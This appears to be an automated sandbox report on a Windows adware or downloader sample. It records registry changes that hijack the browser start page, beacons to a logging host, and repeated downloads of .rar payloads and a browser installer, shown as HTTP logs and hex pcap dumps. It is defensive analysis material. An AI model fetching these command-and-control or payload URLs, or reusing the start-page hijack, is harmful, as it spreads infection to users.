Analysis Date2014-10-06 04:58:41
MD57f1dcd05c7f2c9925deec869b959d0fb
SHA15ee8b4e9cd74570ee7e591b7d3e7971e3dba8f0f

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 6f935f18f1affe1e179a4f56cadf3d03 sha1: 68f01575e0a83fbe97b442201558b683832ae742 size: 151552
Section.data md5: 620f0b67a91f7f74151bc5be745b7110 sha1: 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d size: 4096
Section.rsrc md5: 4c32753526eba097f199dae097fe396d sha1: b7c7b12d981e9d3217f3bacaccbb1840cf6ff7bb size: 4096
Timestamp2014-09-18 09:34:28
PackerMicrosoft Visual Basic v5.0
PEhash45eb20b78863b93f367f98b463cc9c92806527d3
IMPhashc300021a8a62beb68c80d16b0ff2220f

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\m0q\Edit ➝
3101\\x00
RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\ ➝
C:\Program Files\Internet Explorer\IEXPLORE.EXE "http://www.skoda-china.com/"\\x00\\x00\\x006\\x009\\x00-\\x00A\\x002\\x00E\\x00A\\x00-\\x000\\x008\\x000\\x000\\x002\\x00B\\x003\\x000\\x003\\x000\\x009\\x00D\\x00}\\x00\\\x00s\\x00h\\x00e\\x00l\\x00l\\x00\\\x00O\\x00p\\x00e\\x00n\\x00H\\x00o\\x00m\\x00e\\x00P\\x00
RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\w2m\copin ➝
503414327832\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\94296.ini
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\94296.ini
Creates ProcessC:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\94296.ini"
Creates Mutexup3101
Winsock DNSdown.dtddn.com
Winsock DNSlog.dtddn.com
Winsock DNSdown.sz-guogeng.com
Winsock DNSdldir1.qq.com
Winsock DNSlnk1.dtddn.com
Winsock DNSlnk2.dtddn.com

Process
↳ C:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\94296.ini"

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00

Network Details:

DNSlog.dtddn.com
Type: A
112.124.183.10
DNSlnk1.dtddn.com
Type: A
112.124.120.200
DNSlnk2.dtddn.com
Type: A
112.124.120.200
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.144
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.186
DNSdown.dtddn.com
Type: A
112.124.120.200
DNSdown.sz-guogeng.com
Type: A
112.124.120.200
DNSdldir1.qq.com
Type: A
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=503414327832%2073484
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=503414327832%2076937
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=503414327832%2080046
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/5668.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-Beg1&Info1=503414327832%201%200
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.dtddn.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.sz-guogeng.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-DownI&Info1=503414327832%201%200%201
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/2162.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Flows TCP192.168.1.1:1031 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1032 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1033 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1034 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1035 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1036 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1037 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1038 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1039 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1040 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1041 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1042 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1043 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1044 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1045 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1046 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1047 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1048 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1049 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1050 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1051 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1052 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1053 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1054 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1055 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1056 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1057 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1058 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1059 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1060 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1061 ➝ 112.124.120.200:7771
Flows TCP192.168.1.1:1062 ➝ 112.124.120.200:7771

Raw Pcap
0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d35 30333431 34333237 38333225   o1=503414327832%
0x00000040 (00064)   32303733 34383420 48545450 2f312e31   2073484 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d35 30333431 34333237 38333225   o1=503414327832%
0x00000040 (00064)   32303736 39333720 48545450 2f312e31   2076937 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d35 30333431 34333237 38333225   o1=503414327832%
0x00000040 (00064)   32303830 30343620 48545450 2f312e31   2080046 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f353636 382e7261   GET /lnk/5668.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a206c6e 6b312e64 7464646e   Host: lnk1.dtddn
0x00000080 (00128)   2e636f6d 3a373737 310d0a43 6f6e6e65   .com:7771..Conne
0x00000090 (00144)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000a0 (00160)   650d0a0d 0a0a486f 73743a20 6c6f672e   e.....Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 42656731 26496e66   01%20Q2-Beg1&Inf
0x00000030 (00048)   6f313d35 30333431 34333237 38333225   o1=503414327832%
0x00000040 (00064)   32303125 32303020 48545450 2f312e31   201%200 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
